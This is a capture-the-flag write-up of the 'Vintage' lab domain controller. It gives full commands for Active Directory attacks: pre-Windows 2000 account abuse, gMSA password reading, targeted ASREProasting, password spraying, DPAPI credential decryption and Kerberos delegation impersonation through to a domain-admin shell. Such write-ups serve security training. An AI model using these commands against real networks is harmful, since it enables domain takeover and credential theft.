Page cover

Vintage

SUMMARY

This is a Windows Server 2022 machine with NTLM authentication disabled, meaning it only accepts Kerberos authentication. We start enumerating with BloodHound CE with provided user credentials and discover a pre-Windows 2000 machine that, once exploited, allows reading password of a gMSA account. Taking control of the GMSA account we enable another revoked service account that we can abuse with a targeted ASREProasting to obtain its password. Once sprayed, this password leads to another user credential with remote management permission. Finally, we are able to configure Evil-WinRM for Kerberos authentication and collect the user flag.

Regarding escalation, first we disclose DPAPI secrets with Impacket's dpapi.py. The compromised account has permissions for a delegation attack, so we request an ST ticket impersonating an user member of domain administrators group.

KEYWORDS

NTLMSSP, pre-Windows 2000, gMSA password, bloodyAD, targeted ASREProasting, Kerbrute, DPAPI, Impacket, dpapi.py, delegation attack, S4U2self/S4U2proxy abuse.

REFERENCES

https://metacpan.org/pod/SMB::Auth

https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts

https://x.com/filip_dragovic/status/1524730451826511872

https://github.com/micahvandeusen/gMSADumper

https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword

https://github.com/ropnop/kerbrute

https://gist.github.com/zhsh9/f1ba951ec1eb3de401707bbbec407b98

https://www.thehacker.recipes/ad/movement/credentials/dumping/dpapi-protected-secrets

https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html

https://github.com/gentilkiwi/mimikatz/wiki/module-~-dpapi

https://www.thehacker.recipes/ad/movement/kerberos/delegations/

https://www.thehacker.recipes/ad/movement/kerberos/delegations/s4u2self-abuse

ENUMERATION

Port scan.

> for ports in $(nmap $target -p- --min-rate=5000 -Pn --open --reason | grep open | awk -F "/" '{print $1}' | tr '\n' ',' | sed s/,$//); do nmap $target -p$ports -sV -sC -Pn -vv -n && echo "\nList of open ports: $ports";done

Starting Nmap 7.93 ( https://nmap.org ) at 2025-01-28 20:43 GMT
Nmap scan report for 10.10.11.45
Host is up, received user-set (0.041s latency).
Scanned at 2025-01-28 20:43:11 GMT for 96s

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-01-28 20:44:12Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack Microsoft Windows RPC
49674/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
52285/tcp open  msrpc         syn-ack Microsoft Windows RPC
52290/tcp open  msrpc         syn-ack Microsoft Windows RPC
52311/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-01-28T20:45:03
|_  start_date: N/A
|_clock-skew: 55s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 18401/tcp): CLEAN (Timeout)
|   Check 2 (port 53397/tcp): CLEAN (Timeout)
|   Check 3 (port 54577/udp): CLEAN (Timeout)
|   Check 4 (port 61163/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

Nmap done: 1 IP address (1 host up) scanned in 96.67 seconds

List of open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49674,52285,52290,52311

Looks like a domain controller.

We have credentials for P.Rosa:Rosaisbest123, so let's enumerate the SMB service.

> smbclient -L \\\\vintage.htb -U "P.Rosa"
Password for [WORKGROUP\P.Rosa]:
session setup failed: NT_STATUS_NOT_SUPPORTED

Odd, let's try with smbmap

> smbclient -L \\\\vintage.htb -U "vintage/P.Rosa%Rosaisbest123"
session setup failed: NT_STATUS_NOT_SUPPORTED

Weird, check with Wireshark what is going on.

After some investigation on the reported error after the NTLMSSP_NEGOTIATE message, it seems NTLMSSP (NTLM-based authentication) is disabled in the server. Meaning we will have to use Kerberos authentication throughout the entire process.

Having user credentials next step would be to brute force the RID to get more usernames. However, this does not work since NTLM is disabled in the host, and the crackmapexec fails also to negotiate NTLMSSP authentication.

> crackmapexec smb vintage.htb -u P.Rosa -p Rosaisbest123 --rid-brute
SMB         10.10.11.45     445    NONE             [*]  x64 (name:) (domain:) (signing:True) (SMBv1:False)
SMB         10.10.11.45     445    NONE             [-] \P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED

At this point we could try to use Kerberos authentication with crackmapexec; however, we will proceed to continue enumerating with ldapsearch

This tool works since it uses simple authentication. You can verify this by dumping the entire directory and analyzing the traffic with Wireshark.

> ldapsearch -x -H ldap://vintage.htb -D "vintage\P.Rosa" -w Rosaisbest123 -b "dc=vintage,dc=htb"

Once we have understood what is happening with the server authentication configuration, let's continue enumeration with ldapsearch

First we take the sAMAccountName of objects with objectclass=users. In other words, we enumerate the usernames.

> ldapsearch -x -H ldap://vintage.htb -D "vintage\P.Rosa" -w Rosaisbest123 -b "dc=vintage,dc=htb" "(objectclass=user)" sAMAccountName

We see several usernames along with domain controller DC01, a managed service account gMSA01$ and a computer account fs01$

We take the opportunity to dump a list of users using this query.

> ldapsearch -x -H ldap://vintage.htb -D "vintage\P.Rosa" -w Rosaisbest123 -b "dc=vintage,dc=htb" "(objectclass=user)" sAMAccountName | grep sAMAccountName | awk -F ":" '{print $2}' | sed 's/ //'
sAMAccountName
Administrator
Guest
DC01$
krbtgt
gMSA01$
FS01$
M.Rossi
R.Verdi
L.Bianchi
G.Viola
C.Neri
P.Rosa
svc_sql
svc_ldap
svc_ark
C.Neri_adm
L.Bianchi_adm

And with this user list we can verify if there are users with Kerberos pre-authentication disabled (ASREProasting).

> python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py vintage.htb/ -usersfile ./userlist -dc-ip 10.10.11.45

There are no accounts with pre-authentication disabled; on the other hand, we discover three revoked accounts, one of them is the service account svc_sql

Next step would be to collect data and continue enumerating with BloodHound CE. There is no problem with that, since the bloodhound-ce-python tool supports Kerberos authentication.

> python3 /home/kali/.local/bin/bloodhound-ce-python -u P.Rosa -p 'Rosaisbest123' -c All -d vintage.htb -ns 10.10.11.45

In fact, in the output we see the first action is to request a TGT ticket.

Ingest the data in BloodHound CE and start enumerating. First thing we notice is fs01$ is a rather old (vintage) pre-Windows 2000 machine.

Also, it can read group managed service account passwords.

USER

Since fs01$ can read gMSA01$ password, our first step would be to find a way to compromise old pre-Windows 2000 computers. And it seems there is a there is a high probability that the computer account password is actually the same as the computer name in these machines.

The attack path would be to get a TGT ticket for the pre-Windows 2000 account, using the computer name as password. Then use the tool suggested by BloodHound CE (gMSADumper.py) to dump gMSA01$ password.

Begin requesting a TGT for fs01$

> python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip 10.10.11.45 vintage.htb/fs01$:fs01
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Saving ticket in fs01$.ccache
 
> export KRB5CCNAME=fs01$.ccache

Now, next step would be to use gMSADumper.py to dump the password; however, it does not work due to DNS issues.

Luckily, it seems bloodyAD also reads gMSA passwords.

> python3 /home/kali/.local/bin/bloodyAD -d vintage.htb -k --host dc01.vintage.htb --dc-ip 10.10.11.45 get object GMSA01\$ --attr msDS-ManagedPassword

Back to BloodHound CE, mark gmsa01$ as "Owned" and enumerate from there.

We see gmsa01$ has permissions to add itself into serviceManagers group.

And serviceManagers have GenericAll over the three service accounts we discovered before, including the revoked one.

So if we added gmsa01$ into serviceManagers we could reactivate the service account svc_sql

Let's add gmsa01$ to serviceManagers. First step would be to generate a TGT.

> python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip 10.10.11.45 vintage.htb/gmsa01$ -hashes aad3b435b51404eeaad3b435b51404ee:cfa9f6edd15de88ae7a9652114e3f4a7
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Saving ticket in gmsa01$.ccache
 
export KRB5CCNAME=gmsa01\$.ccache

Now add the account with bloodyAD using its own TGT.

> python3 /home/kali/.local/bin/bloodyAD -d vintage.htb -k --host dc01.vintage.htb --dc-ip 10.10.11.45 add groupMember SERVICEMANAGERS GMSA01\$

Now, if gmsa01$ has inherited group's permissions, it has GenericAll over the svc_sql account and we can reactivate the account.

If we remember, since svc_sql was revoked and we couldn't verify if it has Kerberos pre-authentication disabled. Now, after activating it, we can try a targeted ASREProasting attack, which is similar to a targeted kerberoasting attack (as we did in Administrator).

In a nutshell, in a targeted ASREProasting attack we set the attribute DONT_ REQ_PREAUTH, since we have GenericAll over the user account, then dump the hash and try to crack it offline.

First step would be to reactivate the account, using the same gmsa01$ ticket we have in cache (verify if it has not expired, and renew it if that's the case).

> python3 /home/kali/.local/bin/bloodyAD -d vintage.htb -k --host dc01.vintage.htb --dc-ip 10.10.11.45 remove uac SVC_SQL -f ACCOUNTDISABLE

Now we can set the DONT_REQ_PREAUTH attribute so it is asreproastable.

> python3 /home/kali/.local/bin/bloodyAD -d vintage.htb -k --host dc01.vintage.htb --dc-ip 10.10.11.45 add uac SVC_SQL -f DONT_REQ_PREAUTH

Repeat the ASREProasting and dump the hash.

> python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py -k vintage.htb/ -usersfile ./userlist -dc-ip 10.10.11.45

Which can be cracked with module 18200.

Now spray the password with a tool that supports Kerberos authentication, for example Kerbrute.

> /opt/kerbrute/kerbrute passwordspray -d vintage.htb --dc 10.10.11.45 ./userlist Zer0the0ne

You can verify in BloodHound CE the compromised account has remote management permissions, therefore we can have an Evil-WinRM session under its context. We just need to find a way to use Evil-WinRM with Kerberos authentication.

Normally, according to documentation, Kerberos authentication is supported with -r flag, but first you have to configure the KDC realm in the /etc/krb5.conf file.

I used this tool as support, but needed to make some modifications to the file supplied by the tool. The final configuration file is this.

> cat /etc/krb5.conf
[libdefaults]
    default_realm = VINTAGE.HTB
    dns_lookup_realm = true
    dns_lookup_kdc = true
 
[realms]
    VINTAGE.HTB = {
        kdc = dc01.vintage.htb
        admin_server = dc01.vintage.htb
        default_domain = vintage.htb
    }
 
[domain_realm]
    vintage.htb = VINTAGE.HTB
    .vintage.htb = VINTAGE.HTB

Also, it may be necessary to add the IP 10.10.11.45 in the /etc/resolv.conf file (comment the existing lines).

> cat /etc/resolv.conf
nameserver 10.10.11.45

Now you can open an Evil-WinRM shell using Kerberos authentication.

> python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip 10.10.11.45 vintage.htb/c.neri:Zer0the0ne
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in c.neri.ccache
                                                                                                                                                 
 > export KRB5CCNAME=c.neri.ccache              
                                                                                                                                                 
 > evil-winrm -i dc01.vintage.htb -r vintage.htb

And collect the user flag.

SYSTEM

Start from the shell as c.neri and take the opportunity to enumerate the system.

Get-ComputerInfo
 
 
WindowsBuildLabEx                                       : 20348.1.amd64fre.fe_release.210507-1500
WindowsCurrentVersion                                   : 6.3
WindowsEditionId                                        : ServerStandard
WindowsInstallationType                                 : Server
WindowsInstallDateFromRegistry                          : 5/24/2024 12:00:02 PM
WindowsProductId                                        : 00454-20165-01481-AA334
WindowsProductName                                      : Windows Server 2022 Standard
WindowsRegisteredOrganization                           :
WindowsRegisteredOwner                                  : Windows User
WindowsSystemRoot                                       : C:\Windows
WindowsVersion                                          : 2009
OSDisplayVersion                                        : 21H2

We have already seen how to harvest DPAPI-protected secrets in Week 7. Office. Basically, DPAPI is a Windows API used by applications that want to protect and store secrets such as passwords, tokens, etc. Encrypted data is stored in data blobs in the user's directory that have been secured by user-specific master keys.

Blobs are usually be found here.

c:\users\<username>\appdata\local\microsoft\credentials\
c:\users\<username>\appdata\roaming\microsoft\credentials\

Master keys are derived from user's password and usually located here:

c:\users\<username>\appdata\roaming\microsoft\protect\<user sid>
c:\users\<username>\appdata\local\microsoft\protect\<user sid>

In this case we find blob files here.

> dir -h c:\users\c.neri\appdata\local\microsoft\credentials
 
 
    Directory: C:\users\c.neri\appdata\local\microsoft\credentials
 
 
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          6/7/2024   1:17 PM          11020 DFBE70A7E5CC19A398EBF1B96859CE5D

And here.

> dir -h c:\users\c.neri\appdata\roaming\microsoft\credentials
 
 
    Directory: C:\users\c.neri\appdata\roaming\microsoft\credentials
 
 
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          6/7/2024   5:08 PM            430 C4BB96844A5C9DD45D5B6A9859252BA6

And regarding the master keys, they are stored in a folder named after the user's SID.

> dir c:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\
 
 
    Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect
 
 
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d---s-          6/7/2024   1:17 PM                S-1-5-21-4024337825-2033394866-2055507597-1115

And inside we find the master keys.

> dir -h c:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-111
5
 
 
    Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
 
 
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          6/7/2024   1:17 PM            740 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
-a-hs-          6/7/2024   1:17 PM            740 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
-a-hs-          6/7/2024   1:17 PM            904 BK-VINTAGE
-a-hs-          6/7/2024   1:17 PM             24 Preferred

In Week 7. Officewe decrypted the blobs with mimikatz. In this case, the host is running a defender solution that blocks Mimkatz, so we will use Impacket's dpapi.py with files transferred to Kali machine.

First thing would be to obtain the key from the master key file with user's password, SID and blob files.

> python3 /usr/share/doc/python3-impacket/examples/dpapi.py masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0The0ne
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
 
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a

And with the decrypted key, obtain the secret from the blob.

> python3 /usr/share/doc/python3-impacket/examples/dpapi.py credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000001 (CRED_TYPE_GENERIC)
Target      : LegacyGeneric:target=admin_acc
Description :
Unknown     :
Username    : vintage\c.neri_adm
Unknown     : Uncr4ck4bl3P4ssW0rd0312

Which results to be credentials for another user c.neri_adm

To summarize this part: someone has protected c.neri_adm credentials using Windows cryptographic API (DPAPI). The secret is stored a data blob file protected with a master key, that is derived from user c.neri password and SID. Both blob and master keys files are stored in c.neri user folder.

Back to BloodHound CE, mark c.neri_adm as "Owned" and enumerate from there. First thing we notice is the user belongs to delegatedAdmins group.

And if we enumerate the delegatedAdmins group we see a possible path to domains administrators via l.bianchi_adm account, since l.bianchi_adm is also a delegated admin, and in turn a domain administrator.

This suggests a delegation abuse attack. Kerberos delegations allow services to access other services on behalf of domain users. And Service for User to Self (S4U2self) allows a service to obtain an ST on behalf of another user to itself.

In this case, if we had a service account belonging to delegatedAdmins group, we could request an ST impersonating l.bianchi_adm and gain root, since this account is member of domainAdmins.

We have control over c.neri_adm who is already member of the delegatedAdmins. So one option

would be to convert c.neri_adm to a service account by adding a SPN attribute to the account.

> python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip 10.10.11.45 vintage.htb/c.neri_adm:Uncr4ck4bl3P4ssW0rd0312
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Saving ticket in c.neri_adm.ccache
 
> export KRB5CCNAME=c.neri_adm.ccache
 
> python3 /home/kali/.local/bin/bloodyAD -d vintage.htb --host dc01.vintage.htb --dc-ip 10.10.11.45 -u c.neri -p Zer0the0ne -k set object c.neri_adm servicePrincipalName -v 'cifs/dc01.htb'

However, this option doesn't work because it seems assigning an SPN to itself violates constraints defined by Active Directory.

Thinking about other ways, we could take the svc_sql account we reactivated before and add it to the delegatedAdmins group. We can do it since we control c.neri_adm

> python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip 10.10.11.45 vintage.htb/c.neri_adm:Uncr4ck4bl3P4ssW0rd0312
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Saving ticket in c.neri_adm.ccache
 
> export KRB5CCNAME=c.neri_adm.ccache
 
> python3 /home/kali/.local/bin/bloodyAD -d vintage.htb --host dc01.vintage.htb --dc-ip 10.10.11.45 -k add groupMember DELEGATEDADMINS "svc_sql"

And now try to change SPN for svc_sql

> python3 /home/kali/.local/bin/bloodyAD -d vintage.htb --host dc01.vintage.htb --dc-ip 10.10.11.45 -u c.neri -p Zer0the0ne -k set object svc_sql servicePrincipalName -v 'cifs/dc01.htb'

It worked, now we have a service account in the delegatedAdmins group, meaning we can request an ST for CIFS (SMB) impersonating l.bianchi_adm

> python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip 10.10.11.45 vintage.htb/svc_sql:Zer0the0ne -dc-ip dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Saving ticket in svc_sql.ccache
 
> export KRB5CCNAME=svc_sql.ccache
 
> python3 /usr/share/doc/python3-impacket/examples/getST.py -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0ne'

And use this ticket to open a CIFS-based (SMB) shell as l.bianchi_adm

> export KRB5CCNAME=L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache

> python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -k -no-pass vintage.htb/l.bianchi_adm@dc01.vintage.htb

You are root.

Last updated